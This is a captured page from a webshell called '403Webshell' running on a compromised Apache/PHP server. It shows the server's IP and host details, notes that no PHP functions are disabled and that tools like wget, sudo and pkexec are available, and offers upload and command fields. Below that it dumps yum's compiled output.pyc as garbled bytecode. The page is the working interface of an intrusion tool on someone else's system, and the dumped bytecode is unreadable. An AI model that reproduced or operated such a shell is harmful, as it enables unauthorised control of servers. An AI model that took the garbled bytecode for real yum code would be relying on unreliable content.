403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/yum-cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/yum-cli/output.pyc
7Jc.@sjdZddkZddkZddkZddkZddkZddkZddkZddkZddk	l
Z	ddklZddkZ
ddklZddklZddklZlZlZddkZddklZdd	kTdd
klZlZddklZddklZddk Zdd
kl!Z!l"Z"l#Z#dZ$defdYZ%dfdYZ&dfdYZ'dfdYZ(dfdYZ)e*dZ+defdYZ,e*dZ-e.djone/ei0djoei0ddjod GHd!GHd GHx4e1d"d#D]#Z2e-e2d$d%ei3d&qAWd GHd'GHd GHx<e1d"d#D]+Z2e-e2d$d(d)d*ei3d&qWd GHd+GHd GHx1e1d"d#D] Z2e-e2d$ei3d&qWne/ei0djoei0ddd,fjoe,Z4e5e4_6d%e4i7d-<d.e4i7d/<d GHd0GHd GHx@e1d"d#D]/Z2e4i8d1d-e2d$e2d$ei3d&qxWd GHd2GHd GHxLe1d"d#D];Z2e4i8d3d4d5d6d/e2d$e2d$ei3d&qWne/ei0djoei0ddd7d,d8fjoei9i:ne/ei0djoei0ddd7fjod GHd9GHd GHx:e1d"d#D])Z2e-e2d$ed:ei3d&qWd GHd GHd;GHd GHxBe1d"d#D]1Z2e-e2d$ed:d*d6ei3d&qWd GHne/ei0djoei0ddd7d,d8fjoe,Z4e5e4_6ed:e4i7d-<e4i7d-d*d6e4i7d/<d GHd<GHd GHx@e1d"d#D]/Z2e4i8d1d-e2d$e2d$ei3d&qWd GHd=GHd GHxLe1d"d#D];Z2e4i8d3d4d5d6d/e2d$e2d$ei3d&qWd GHnndS(>s'This handles actual output from the cliiN(tproxy(t	TextMeter(tURLGrabError(tprco_tuple_to_string(tto_strtto_utf8t
to_unicode(tcheckSignals(t*(t
logginglevelst_(tRPMBaseCallback(tpackagesNewestByNameArch(t
utf8_widthtutf8_width_filltutf8_text_fillcCsOttidpdStii}|djodS|djodS|S(s= Simple terminal width, limit to 20 chars. and make 0 == 80. tterminal_width_cachediPii(thasattrt
urlgrabbertprogressR(tret((s/usr/share/yum-cli/output.pyt_term_width0s

tYumTextMetercBseZdZddZRS(s#
    Text progress bar output.
    cCstti|||dS(N(RRtupdate(tselftamount_readtnow((s/usr/share/yum-cli/output.pyRBsN(t__name__t
__module__t__doc__tNoneR(((s/usr/share/yum-cli/output.pyR<stYumTermcBseZdZeZeeidoedZ	nhdd6dd6dd6Z
hd	d
6dd6d
d6dd6dd6dd6dd6dd6Zhd	d
6dd6d
d6dd6dd6dd6dd6dd6Zhdd6dd6dd6dd6d d6d!d6Z
hd"d
6d#d6d$d6d%d6d&d6d'd6d(d6d)d6Zhd*d
6d+d6d,d6d-d6d.d6d/d6d0d6d1d6Zd2Zd=d3d4Zd=d3d5Zd6Zd=ed7Zd8Zd9Zd:Zd;Zd<ZRS(>s*some terminal "UI" helpers based on cursesRcCstS((R(R((s/usr/share/yum-cli/output.pyt<lambda>Sstsmult	underlinetrevtreversetsgr0tnormalitblackitblueitgreenitcyanitreditmagentaityellowitwhitestboldstblinkttdimsss(BsssssssssssssssscCs(|i|_|i|_|i|_dS(N(t_YumTerm__ansi_forced_MODEtMODEt_YumTerm__ansi_forced_FG_COLORtFG_COLORt_YumTerm__ansi_forced_BG_COLORtBG_COLOR(R((s/usr/share/yum-cli/output.pyt
__forced_initstautocCst|_ttidp
d|_nd|_|djo|idShdd6dd6dd6dd	6dd
6dd6|_hdd6dd
6dd6dd6dd6dd6dd6dd6|_	hdd6dd
6dd6dd6dd6dd6dd6dd6|_
|djot|_dS|djptyddk
}Wnt|_dSX|p
ti}n|ipt|_dSy|id|iWnt|_dSX|i|_ttidp|id|_n|id|_xU|iD]J}|}||ijo|i|}n|i|pd|i|<qW|id}|oDxA|iiD],\}}|i||pd|i	|<qxWn|id}|oDxA|iiD],\}}|i||pd|i	|<qWn|id}	|	oDxA|iiD],\}}|i|	|pd|i
|<q,Wn|id}
|
oDxA|iiD],\}}|i|
|pd|i
|<qWndS(NRiPitalwaysR1R/R0R2R$R"R&R'R(R)R*R+R,R-R.tneverR:itfdtcolstlinestsetftsetaftsetbtsetab(tTruet_YumTerm__enabledRRRtcolumnsR?t_YumTerm__forced_initR4R6R8tFalsetAssertionErrortcursestsyststdouttisattyt	setuptermtfilenottigetstrt
_ctigetstrttigetnumt_YumTerm__cap_namest	_tigetstrt_YumTerm__colorstitemsttparmt_YumTerm__ansi_colors(Rtterm_streamtcolorRJtcap_nametmodetset_fgtvaltset_fg_ansitset_bgtset_bg_ansi((s/usr/share/yum-cli/output.pytreinits	
	





		

		
!(((cCs|i||dS(N(Rb(RRYRZ((s/usr/share/yum-cli/output.pyt__init__scCs)|i|pd}tidd|S(NR1s\$<\d+>[/*]?(RQtretsub(RR[tcap((s/usr/share/yum-cli/output.pyRTsc
s|ip|S|p
ti}nfd}xO|D]G}||}	|oti|	ti}	nti|	||}q<W|S(Ncs|iS((tgroup(tmatch(tendtbeg(s/usr/share/yum-cli/output.pyR s(RERdtescapettemplatetIRe(
RthaystackRjRitneedlesRktignore_casetrendertneedletpat((RiRjs/usr/share/yum-cli/output.pyRes

cKs |i|||id||S(NR&(ReR4(RRnRjRotkwds((s/usr/share/yum-cli/output.pytsub_norm
scKs|i||i|||S(N(RuR4(RRnR\RoRt((s/usr/share/yum-cli/output.pytsub_modescKs|i|d||S(NR/(Rv(RRnRoRt((s/usr/share/yum-cli/output.pytsub_boldscKs|i||i|||S(N(RuR6(RRnRZRoRt((s/usr/share/yum-cli/output.pytsub_fgscKs|i||i|||S(N(RuR8(RRnRZRoRt((s/usr/share/yum-cli/output.pytsub_bgsN(RRRRDRERRRtpropertyRFRSRURXR3R5R7RGRRbRcRTRHReRuRvRwRxRy(((s/usr/share/yum-cli/output.pyRFsz	





	d					t	YumOutputcBs6eZdZdZdZdZd7dZdZdZ	e
dZd7dd7d	d
Ze
dZ
dZd
d
dZed	ed7dZed	ed7dZdZddZdZedZd7dZhd7hdZdZdZdZddZdd7dZdZdZdd d!Z e
dd"Z!d7d7d7d#Z"d7d$Z#d%Z$d&Z%d'Z&d(Z'd)Z(d*Z)d+Z*d,Z+d-Z,d7d.Z-d/Z.d0Z/d1Z0d2Z1d3Z2gd4Z3gd5Z4d6Z5RS(8s5
    Main output class for the yum command line.
    cCsxtid|_tid|_ttdotidid|_n
dg|_t	|_
d|_dS(Nsyum.clisyum.verbose.clitexpandMacros
%_i18ndomainst:sredhat-dist(
tloggingt	getLoggertloggertverbose_loggerRtrpmR|tsplitti18ndomainsRttermRt_last_interrupt(R((s/usr/share/yum-cli/output.pyRc$sc
Cstdtdtdtdtdtdtdtdtd	td
tdtdg}titi}|ttid
|dtid|}|S(NtJantFebtMartAprtMaytJuntJultAugtSeptOcttNovtDecs%mis %d %T (R
ttimet	localtimetinttstrftime(RtmonthsRR((s/usr/share/yum-cli/output.pyt	printtime0s6<cCs?|iid|i|i|iitd|idS(s,failure output for failovers from urlgrabbers%s: %ssTrying other mirror.N(Rterrorturlt	exceptionR
(Rterrobj((s/usr/share/yum-cli/output.pyt
failureReport8scCst|||dS(N(tprogressbar(Rtcurrentttotaltname((s/usr/share/yum-cli/output.pytsimpleProgressBar@scCsd}d}|pnet|tp
|djo|iid}n3|djon"x|iddiD]}toqs|djo
d}qs||iijo||ii|7}qs||iijo||ii|7}qs|ido3|d|iijo||ii|d7}qs|ido3|d|ii	jo||ii	|d7}qsqsW|o|iid}n||fS(	NR1R/R&t,t sfg:isbg:(
t
isinstancet
basestringRR4treplaceRRHR6t
startswithR8(Rt	highlightthibegthiendthigh((s/usr/share/yum-cli/output.pyt
_highlightCs6


 cKs1|i|\}}|ii|||||S(N(RRRe(RRnRRoRtRR((s/usr/share/yum-cli/output.pyt_sub_highlightascCsCd}x6|D].}||d|joPn||d7}q
W|S(s; Spaces left on the current field will help how many pkgs? ii((Rt	data_tupstleftRttup((s/usr/share/yum-cli/output.pyt_calc_columns_spaces_helpsesiR1cCs|djo|ii}nt|}|}dg|}x1td|D] }t||i||<qLW|djodg|}n|t||dt|8}x&|djod}	d}
xbt	d|D]Q}|i
|||||}|pqn||	joqn|}	|}
qW|	o@||
idd||
}||
c|7<||8}qn|d8}||}
x't	d|D]}||c|
7<qW||c|||
7<d}qW|S(s Dynamically calculate the width of the fields in the data, data is
            of the format [column-number][field_length] = rows. iiN(RRRFtlentrangetsortedRVtsumR
txrangeRtpop(RtdataRFtremainder_columnttotal_widthtindentR>tpdatatdthelpsR^tthelpstdifftnorm((s/usr/share/yum-cli/output.pytcalcColumnsosL


"
	




cCs#|djod|fSd|fS(Niu-u((twidth((s/usr/share/yum-cli/output.pyt_fmt_column_align_widths
cCst|djpt|djptt|djo|\}}d}}nt|djo(|\}}}|i|\}}n||||fS(NiiR1(RRIR(Rtcol_dataR^RRRR((s/usr/share/yum-cli/output.pyt	_col_datas-ucCst|}g}x|d D]}|i|\}}}	}
|p|d7}|i|qn|i|\}}t||joB|d7}t||d|djd|	d|
}|i|n1|dd	||d
7}|i|	||
g||7}|d
7}qW|i|d\}}}	}
|i|\}}t||d|djd|	d|
}|d|7}|i||t|S(s9 Return a string for columns of data, which can overflow.iu%su%s Ru-tprefixtsuffixu%s%s%s
Riu%%s%s(RRtappendRR
Rtextendttuple(RRFtmsgRiRRRR^RRRtalign((s/usr/share/yum-cli/output.pyt
fmtColumnss4




c
Cs|d	jo
d
}n|i}d||i|if}|ddg}|i}	|idjo$d|ijod|ii}	nt|||	f||}|i|GHd	S(s2 Simple to use function to print a pkg as a line. iiis%s%s.%sR&t	installedt	from_repot@N(iii(	RtprintVerRtarchtrepoidt
yumdb_infoRtzipR(
Rtpkgtui_overflowRRRFtvertnathi_colstrid((s/usr/share/yum-cli/output.pyt
simpleLists

	 c	Cs|djo
d	}nd|t|f}|ddg}|i}|idjo$d|ijod|ii}nt||f||}|i|GHdS(
s Simple to use function to print a pkg as a line, with the pkg
            itself in envra format so it can be pased to list/install/etc. iis%s%sR&RRRN(ii(RtstrRRRRR(	RRRRRRFtenvraRR((s/usr/share/yum-cli/output.pytsimpleEnvraLists

	 cCst|}t|}|ii}d|dd}t|d|d|d|}|iddjo3||d	jo"t|d|d|dd
}n|S(sA Return a key value pair in the common two column output format. Ris: Rtinitial_indenttsubsequent_indents
iis
     ...: (RR
RRFRtcount(RtkeyR^tkeylenR>tnxtR((s/usr/share/yum-cli/output.pyt
fmtKeyValFills'
t=cCst|}|iid}t|}||djo|d}}n+|||d}|||t|}d|||fS(Niis%s %s %s(RRRFR
R(RRtfillR>tname_lenRjRi((s/usr/share/yum-cli/output.pyt
fmtSectionscCskt|}t|djoBx?|iD]0}ti||}||jo|}Pq)q)Wnt|S(s_Get the translated version from specspo and ensure that
        it's actually encoded in UTF-8.i(RRRtgettexttdgettextR(RtsRtt((s/usr/share/yum-cli/output.pyt_encs


cCsF|i|\}}td|t|i|fGHtdt|iGH|idjotdt|iGHntdt|iGHtdt|iGHtd|it	|i
GHtdt|iGH|id	jo/d
|ijotdt|ii
GHn|iitiotdt|iGHtd
ti|iGHtdti|iGHt|dotdti|iGHqn|itd|i|iGH|iotdt|iGHntdt|iGH|itd|i|iGHdGHdS(NsName       : %s%s%ssArch       : %st0sEpoch      : %ssVersion    : %ssRelease    : %ssSize       : %ssRepo       : %sRRsFrom repo  : %ssCommitter  : %ssCommittime : %ssBuildtime  : %stinstalltimesInstalltime: %ss
Summary    : sURL        : %ssLicense    : %ss
Description: R1(RR
RRRtepochtversiontreleaset
format_numbertfloattsizeRRRRtisEnabledForR	tDEBUG_3t	committerRtctimet
committimet	buildtimeRRRRtsummaryRtlicensetdescription(RRRRR((s/usr/share/yum-cli/output.pyt
infoOutputs.!! ##
#c
Cs|\}}|dj	o|ii}|iidjo|io|ii}n|i|d|d||i|d|dd
d|iidS|i	}d|i
|if}|i}	d	||	||fGHdS(stakes an updates or obsoletes tuple of pkgobjects and
           returns a simple printed string of the output and a string
           explaining the relationship between the tuple membersRRFRRRiNs%s.%ss%-35.35s [%.12s] %.10s %-20.20ss    (
Rtconftcolor_update_remotetrepotidtverifyLocalPkgtcolor_update_localRtcolor_update_installedtcompactPrintRRR(
Rtuotupt
changetypeRFt	changePkgtinstPkgtchit	c_compactt	i_compacttc_repo((s/usr/share/yum-cli/output.pytupdatesObsoletesList1s
 
	c	Csz|djoid}t|djo*d}d|GHxt|D]}|i|if}	t}
ton|	|jo|idd}
ng|i||	o|idd}
n=|i||	o|id	d
}
n|idd}
|djo#|i|dt	d
|
d|qB|djo|i
|d
|
qBqBWn|djoddgfSdgfSdS(soutputs based on whatever outputType is. Current options:
           'list' - simple pkg list
           'info' - similar to rpm -qi output
           ...also highlight_na can be passed, and we'll highlight
           pkgs with (names, arch) in that set.tlisttinfoiis%ssnot inR&Rt>R/t<RRRFsNo Packages to listN(slistsinfo(RRRRRHtgettverEQtverLTRRDR(RtlstRt
outputTypethighlight_naRFthighlight_modestthingslistedRRR((s/usr/share/yum-cli/output.pytlistPkgsGs6
	




cCs{ttdttdf}ttdttdf}|d|d|d|df}xtoyttd}Wn7tj
o
n#tj
o
nd}nXt|}|i}t|djp
||joPnd	|jod	|jo|d}Pnd
|jod
|joPqmqmWt|djp
||jotStSdS(s.gets a yes or no from the user, defaults to NotytyestntnoiisIs this ok [y/N]: R1uyunN(	RR
RDt	raw_inputtUnicodeEncodeErrortUnicodeDecodeErrortlowerRRH(Rtyuitnuitauitchoice((s/usr/share/yum-cli/output.pytuserconfirmos2$$"
 

 cCs
|iS(N(R.(Rtkeydict((s/usr/share/yum-cli/output.pyt_cli_confirm_gpg_key_importsc
CsI|ii|}|ii|}t|}h}x*|D]"}d|f||i|if<q=Wx|D]}|i|if}||jo |df||i|if<qj|i||do(|||df||i|if<qjqjWh}xI|iD];\}}	|p|	}|i	|igi
||	fqW|S(s Convert pkg_names to installed pkgs or available pkgs, return
            value is a dict on pkg.name returning (apkg, ipkg). iN(trpmdbtsearchNamestpkgSackRRRRtverGTt
itervaluest
setdefaultR(
Rt	pkg_namestipkgstapkgstpkgsRRRtapkgtipkg((s/usr/share/yum-cli/output.pyt_group_names2aipkgss( 
 ,

&s   c
Csx|D]}||joqnx||D]\}}|p|}tt|t|}	|idjo*d|ijot|iid}
nt|i}
xNd|	fd|
ffD]4\}}||i|d|||cd7<qWq,WqWdS(NRRiRRi(R
RRRRRR6(
RRR7tpkg_names2pkgsRtitemR;R<RRRRtv((s/usr/share/yum-cli/output.pyt_calcDataPkgColumnss

 c
Cs|p*xt|D]}d||fGHqWnxt|D]}||jod||fGHq>nxt||ddD]s\}}|o|o|ii}	n|o|ii}	nt}	|i|p|dtd|d|	d|qWq>WdS(Ns%s%sRcSs|dp|dS(ii((tx((s/usr/share/yum-cli/output.pyR sRRRRF(RRtcolor_list_installed_oldertcolor_list_available_installRHRRD(
RR7tverboseR>RRFR?R;R<R((s/usr/share/yum-cli/output.pyt_displayPkgsFromNamess(



c		Cstd|iGH|iiti}|otdt|iGHnd}|o|i	|i
}n|iotdt|iGHntd|iftd|i
ftd|iftd|iff}d}|o{hhd6hd	6}x'|D]\}}|i|||q	W|d|d	g}|i|}|d
|df}nxI|D]A\}}t|d
jo"|GH|i|||d|qpqpWdS(
Ns

Group: %ss
 Group-Id: %ss Description: %ss Mandatory Packages:s Default Packages:s Optional Packages:s Conditional Packages:RRiiRF(R
tui_nameRRR	RRtgroupidRR=tpackagestui_descriptiontmandatory_packagestdefault_packagestoptional_packagestconditional_packagesRARRRF(	RRgtverbR>tsectionsRFRtsection_nameR7((s/usr/share/yum-cli/output.pytdisplayPkgsInGroupss8
cCsx|D]}td|iGHt||djotdGHqnxn||D]b}|||}tdt|GH|ptdGHqVnx|D]}d|iGHqWqVWqWdS(s=take a list of findDeps results and 'pretty print' the outputspackage: %sis"  No dependencies for this packages  dependency: %ss   Unsatisfied dependencys   provider: %sN(R
RRR(RtresultsRtreqtreqlisttpo((s/usr/share/yum-cli/output.pyt
depListOutputs Rc
	Csddddddddd	g	}|o
d
}nd}d}d
}t|d}x3||jo%||jo|d}||}qWWt|tdjpt|tdjo
d}	n|djo
d}	nd}	|	t|pd
|||fS(s4Turn numbers into human-readable metric-like numbersR1tktMtGtTtPtEtZtYg@@g@iiils%i%s%sgfffff#@s%.1f%s%ss%.0f%s%s(RttypeR(
RtnumbertSItspacetsymbolststeptthreshtdeptht	max_depthtformat((s/usr/share/yum-cli/output.pyRs2	

2


cCstii||S(N(RRtformat_time(tsecondst	use_hours((s/usr/share/yum-cli/output.pyRj(sc
Cs{|iiod|}nd|i|if}|i||i|i}|o<|djo|ii}n|i	|||dt
}n|GH|djo|iit
i}n|pdStd|iGHtdGHxtii|D]u}t|}t|i|jpt|i|joqnt
}tont|i|jotd}	|i|}nt|i|jotd}	t}nnt|i|jotd	}	t}nB|id
o%td}	|i|}t}n
td}	|o|i	|||dt
}n|o|i|	t|GHq|	|GHqWd
GHdS(s/ Output search/provides type callback matches. po is the pkg object,
            values are the things in the po that we've matched.
            If matchfor is passed, all the strings in that list will be
            highlighted within the output.
            verbose overrides logginglevel, if passed. s%s : s%s.%s : RpNsRepo        : %ss
Matched from:sDescription : sURL         : %ssLicense     : %st/sFilename    : %ssOther       : s

(RtshowdupesfromreposRRRRRRtcolor_search_matchRRDRRR	RR
RtyumtmisctuniqueRRHRRRRR(
RRVtvaluestmatchforRERRR?tcan_overflowR((s/usr/share/yum-cli/output.pyt
matchcallback,sX


,




cCs|i|||dtS(NRE(RvRD(RRVRsRt((s/usr/share/yum-cli/output.pytmatchcallback_verbosegsc	Csd}d}t}x{|D]s}yFt|i}||7}y|io||7}nWnnXWqt}|iitdPqXqW|pt|o,|ii	t
itd|i|n||jo0|ii	t
itd|i||qndS(s4Report the total download size for a set of packagesis2There was an error calculating total download sizesTotal size: %ssTotal download size: %sN(
RHRRRRDRRR
RtlogR	tINFO_1R(RRIttotsizetlocsizeRRR((s/usr/share/yum-cli/output.pytreportDownloadSizejs0

	
c#siittg}hhd6hd6hd6}d}gfd}xtdiiftdiiftdiiftd	iiftd
iiftdii	ftdii
ftd
iifgD]T\}}g}x,|D]$}|||||i|i
}qW|i||fqWxetdifgD]K\}}g}x#|D]}	|||||	}qW|i||fqlW|dpdS|dh|d|dhg}d|dddg}
i|ddd|
dd}
|
\}}}}
}|djptddiiitd|ftd|ftd|ftd|
ftd|ffddiifg}x'|D]\}}|od|}nx|D]\}}}}}}}|||f||f||f||
f||ff}
i|
dd }iii\}}xI|D]A}td!}|||i||i|if;}||}qW||}qW|o|i|qqWtd"diif}|i|tiiii	}tiiii
}td#||f}|p|o|i|ntiiii} tii}!tii}"td$| |!|"f}| p|!p|"o|i|nd%i|S(&s@returns a string rep of the  transaction in an easy-to-read way.R$R@tricsc|i\}}}}}	|i}
|i}t|i}i|}
|djo
d}n|iidjoi	i
}n*|ioi	i}n
i	i
}|i|||
||
||fxidt|fdt|
fdt|ffD]4\}}||i|d|||cd7<qW|t|jot|}n|S(NtnoarchRR$R@R}ii(tpkgtupRRRRRRRRRR
RR	RRRR6(R?Rta_widRVt	obsoletesR$tateR@R}tevrRtpkgsizeRthiR(R(s/usr/share/yum-cli/output.pyt	_add_lines(	


"4t
InstallingtUpdatingtRemovingtReinstallingtDowngradingsInstalling for dependenciessUpdating for dependenciessRemoving for dependenciessSkipped (dependency problems)uiiRs  RFRiu

%s
%s
%s
RtPackagetArchtVersiont
RepositorytSizeu u%s:
u
s     replacing  %s%s%s.%s %s

s
Transaction Summary
%s
s6Install   %5.5s Package(s)
Upgrade   %5.5s Package(s)
sQRemove    %5.5s Package(s)
Reinstall %5.5s Package(s)
Downgrade %5.5s Package(s)
R1(ttsInfot	makelistsRDR
Rtupdatedtremovedtreinstalledt
downgradedtdepinstalledt
depupdatedt
depremovedRVRRtskipped_packagesRRIRRFRRRR
RRRRtjoin(#Rt
pkglist_linesRRRtactiontpkglistR?ttxmbrRVRFtn_widtv_widtr_widts_widtoutttotalmsgR$RRRRRRRRRtobspotappendedRtnum_intnum_uptnum_rmtnum_retnum_dg((Rs/usr/share/yum-cli/output.pytlistTransactions"
!	& #
csd}iifd}xtdiiftdiiftdiiftdiiftdiiftdiiftd	i	ftd
ii
ftdiifg	D],\}}g}t|djo|d
|7}xL|D]D}|i
\}}}	}
}d|||	|
|f}|i|qWx)dD]!}
|||
}|oPqlqlW|piidg}nx\|oP|t| }|d7}|it||dd7}|t|}qWqqW|S(NR1cs t||jogSii|dd}|djogSdg|}d}x|D]{}t|||joDt|||}||jogS||8}t|||<n|d7}|t|;}q\Wx>tt|D]*}||c||7<||cd9<qW|S(sb Work out how many columns we can use to display stuff, in
                the post trans output. iiii(RRRFR(tmsgstnumRtcol_lenstcolRR(R(s/usr/share/yum-cli/output.pyt
_fits_in_colss,




tRemovedsDependency Removedt	InstalledsDependency InstalledtUpdatedsDependency UpdatedsSkipped (dependency problems)tReplacedtFailedis
%s:
s%s.%s %s:%s-%siiiiiiis  Riu
(iiiiiii(RRR
RRRRRRRt	obsoletedtfailedRRRRRFRR(RRRRRRRR$RRR@R}RRR>tcurrent_msgs((Rs/usr/share/yum-cli/output.pytpostTransactionOutputsF
	
"cCs|iidjptiio |iidd|i_n,|iit	dtit
|i_|idhf}|ii||ii
|itt|}||_dS(sWsets up the progress callbacks and various 
           output bars based on debug levelitfoN((Rt
debuglevelRKRLRMtrepostsetProgressBarRtcallbackRtCacheProgressCallbackRtsetFailureCallbacktsetInterruptCallbacktinterrupt_callbacktDepSolveProgressCallBacktweakreft
dsCallback(Rtfreporttdscb((s/usr/share/yum-cli/output.pytsetupProgressCallbacksAs$cCs|idS(N(R(R((s/usr/share/yum-cli/output.pytsetupProgessCallbacksZscCs"|i|i_|i|i_dS(N(R0Rtconfirm_funct
getKeyForRepotgpg_import_func(R((s/usr/share/yum-cli/output.pytsetupKeyImportCallbacks^scCsd}td}ti}|ipY|iid}|iid}td|||||f}|iiti|n||i|jo
t	n||_t
dtddS(	sHandle CTRL-C's during downloads

        If a CTRL-C occurs a URLGrabError will be raised to push the download
        onto the next mirror.  
        
        If two CTRL-C's occur in quick succession then yum will exit.

        @param cbobj: urlgrabber callback obj
        g@ttwoR/R&sZ
 Current download cancelled, %sinterrupt (ctrl-c) again%s within %s%s%s seconds
to exit.
isuser interruptN(R
RRRR4RRxR	tINFO_2tKeyboardInterruptR(Rtcbobjtdelta_exit_chktdelta_exit_strRRRR((s/usr/share/yum-cli/output.pyRbs


	cCsAt|djodSttidpdStiid}|iitid|i	t
i
|}|djo
d}n|id|i|}|id|i
|}|id}|id|i||}	dttd
|i	|i	|	|||f}
|iiti|
dS(NitTerminalLineit-ig{Gz?s | %5sBs %9sRis %5sB/ss
%s%s%s%s%stTotals     (RRRRRRRxR	RtrestRtaddRRjRR
(Rtremote_pkgstremote_sizetdownload_start_timestampttltdl_timetui_sizetui_timetui_endtui_bsR((s/usr/share/yum-cli/output.pytdownload_callback_total_cbs  

 $c	Cst}d}x|D]|}|i}|djo
d}n|djo
d}n|djo
d}n|djo|i||d7}qqWt|djptt|djo9|d
ig}t|D]}||dq~fS|dit|fS(NisTrue-InstalltInstallsDep-Installt	Obsoletedt
ObsoletingtUpdatetEraset	Reinstallt	Downgradeiis, R1(RRRRRR(tsettstateRRRIRRR(RthpkgstactionsRthpkgtstt_[1]RB((s/usr/share/yum-cli/output.pyt_history_uiactionss&		







9cCs2|djp
|djoOtd}tdd|}|dj	ot||jo
|}n|Syti|}|iiddd}d||if}|dj	oXt||joEd	|id|if}t||jod
|i}qn|SWntj
ot	|SXdS(NIs<unset>tSystemRt;iis%s <%s>s%s ... <%s>s<%s>(
RR
Rtpwdtgetpwuidtpw_gecosRtpw_nametKeyErrorR(RtuidtlimittloginidRtusertfullname((s/usr/share/yum-cli/output.pyt_pwd_ui_usernames" 
 cCst}g}|d}t}|o,t}|ddjo|idqRnxL|D]D}yt||i|WqYtj
o|i|qYXqYW|o|i|i	i
|n|o"|o|iit
ddS||fS(Niitalls)Bad transaction IDs, or package(s), given(NN(RRHRDRRRt
ValueErrorRRthistorytsearchRtcriticalR
R(Rtextcmdsttidstpatstusertidstprintallttid((s/usr/share/yum-cli/output.pyt_history_list_transactionss*	

cCsI|i|\}}|djoddgfSd}|dGHd	d
GHd}d}d
}|o
d}nxn|ii|d|D]T}|o||joPn|d7}|i|id}tidti|i	}	|i
|i\}
}|io-|i
o#||i||	||
fGdGHq|idjo#||i||	||
fGdGHq|io#||i||	||
fGdGHq|i
o#||i||	||
fGdGHq||i||	||
fGHqW|ii}|dj	oM|iidtd}
|i|
jo td}|ii|qEndS(s2 Shows the user a list of data about the history. isFailed history infos#%-6s | %-22s | %-16s | %-14s | %-7stIDs
Login users
Date and times	Action(s)tAlteredRiOs$%6u | %-22.22s | %-16s | %-14s | %4uiiRis%Y-%m-%d %H:%Ms><s**s <s> t	main_onlys?Warning: RPMDB has been altered since the last yum transaction.N(Rs
Login users
Date and times	Action(s)R(R
RRtoldRtloginuidRRRt
beg_timestampRt
trans_datataltered_lt_rpmdbtaltered_gt_rpmdbRtreturn_codetlastR1t
simpleVersionRDtend_rpmdbversionR
Rtwarning(RRRRtfmttdoneRRRttmRtuiactstlastdbvtrpmdbvt	errstring((s/usr/share/yum-cli/output.pythistoryListCmdsF
		

	##
#
#
cCst|djo|iitddSg}y#t|d|i|dWn*tj
o|iitddSX|ii	|}|p|iitddS|S(NisNo transaction ID givenisBad transaction ID givensNot found given transaction ID(
RRRR
RRRRRR(RRRR((s/usr/share/yum-cli/output.pyt_history_get_transactionsscCsV|i|}|djodSt|djo|iitdn|dS(Nis#Found more than one transaction ID!i(R$RRRRR
(RRR((s/usr/share/yum-cli/output.pyt_history_get_transactions
c
Cst}g}xP|dD]D}yt||i|Wqtj
o|i|qXqW|o|i|ii|n|oGt|djo4|ii	}|dj	o|i|iqn|p$|ii
tdddgfS|ii	}|dj	o|i}|i}nt}x|ii|D]}|dj	oG|i|jo7|iidtd}	||	jo
t|_qnd}|o
ddGHnt}|i||qKWdS(	Niis$No transaction ID, or package, givensFailed history infoRiRiO(RRRRRRRRRRRRRRR
RRHRR1RRDRt_historyInfoCmd(
RRRR	RRR tlasttidRR!((s/usr/share/yum-cli/output.pythistoryInfoCmd!sD	


	


c
Cs|i|i}tdG|iGHti|i}tdG|GH|idj	o:|i	otdG|iGdGHqtdG|iGHn|i
dj	oti|i
}|i}|i|do|i}d}xdt
t|D]P}	|	t|joPn||	||	joPn|t||	d7}qWd|||}ntd|i
|i}
td	G|G|
GHn|idj	o:|iotd
G|iGdGHqtd
G|iGHntdG|GH|idjo!tdGdGtd
GdGHn@|io tdGtdG|iGHntdGtdGHtdGHx|iD]}d}td}
|ii|ig}|i|ptd}
nm|id|DjonO|d|jotd}
n.|d|jotd}
n
td}
d||
|fGHqoWtdGH|i|||io@tdGHd}x,|iD]}|d7}d|G|GHqWn|io@tdGHd}x,|iD]}|d7}d|G|GHqWndS(NsTransaction ID :sBegin time     :sBegin rpmdb    :s**iiRs(%s seconds)sEnd time       :sEnd rpmdb      :sUser           :sReturn-Code    :tAbortedsFailure:tSuccesssTransaction performed with:iRtErasedcssx|]}|iVqWdS(N(R(t.0R<((s/usr/share/yum-cli/output.pys	<genexpr>xs	iRt
DowngradedtWeirds
%s%-12s %ssPackages Altered:sScriptlet output:s%4dsErrors:s    (RRR
RRRRtbeg_rpmdbversionRRt
end_timestampRRRRRRRt
trans_withR1R2RtsortRthistoryInfoCmdPkgsAlteredtoutputterrors(RRR	RtbegtmtendtmtendtmstbegtmstsofartiRRRRR8Rtline((s/usr/share/yum-cli/output.pyR&Js

!
 







c
Csx|iD]}d}|ip
d}nd}|o=tii|g|\}}}|p|o
d}qtn|i|\}	}
|idjot|}n)d|i|i|i	|i
|if}toq
|i
djoDt|id	}d|||}d
||	|i
|
|fGHq
|i
djoDt|id	}d|||}d
||	|i
|
|fGHq
|i
djod
||	d
|
|fGHq
d
||	|i
|
|fGHq
WdS(NRis ** R&R/Rs%s-%s:%s-%s.%sRis%s%s%-12s%s %sR-sTrue-InstallRs    (RRRpRIt
parsePackagesRRRRRRRRHRR(
RRR	RRRRBtmtuRRtcntln((s/usr/share/yum-cli/output.pyR3s8


!cCs|i|\}}|djoddgfSd}|d"GHdd	GHd
}hhd6hd6hd
6hd6hd6hd6hd6}x|ii|D]	}|i|id}d}ti}	ton|i|	d$jo
d}n|i|	d'jo
d}ny|i|	d*jo
d
}n[|i|	d.jo
d}n=|i|	d2jo
d}n|i|	d5jo
d}n||i	|gi
|qWhtdd6tdd6tdd
6tdd6tdd6tdd6tdd6}
d }xd6D]}||pqnxt||D]}|o|d!joPn|d7}g}x&|||D]}|i
|iq{W|i|\}
}|
|}|||||
fGHq<WqWdS(7NisFailed history infos%-26s | %-19s | %-16s | %-8ss
Login usertTimes	Action(s)RRiOs!%-26.26s | %-19.19s | %-16s | %8utdaytweekt	fortnighttquarterthalftyearRiii<iii
imsLast days	Last weeksLast 2 weekss
Last 3 monthss
Last 6 monthss	Last yearsOver a year agoii(s
Login userRBs	Action(s)sAlterediiQiiQi:	iiQiuiiQi:	iwiiQi:	iiiQi3(RCRDRERFRGRHsall(R
RRRRRRRHRR6RR
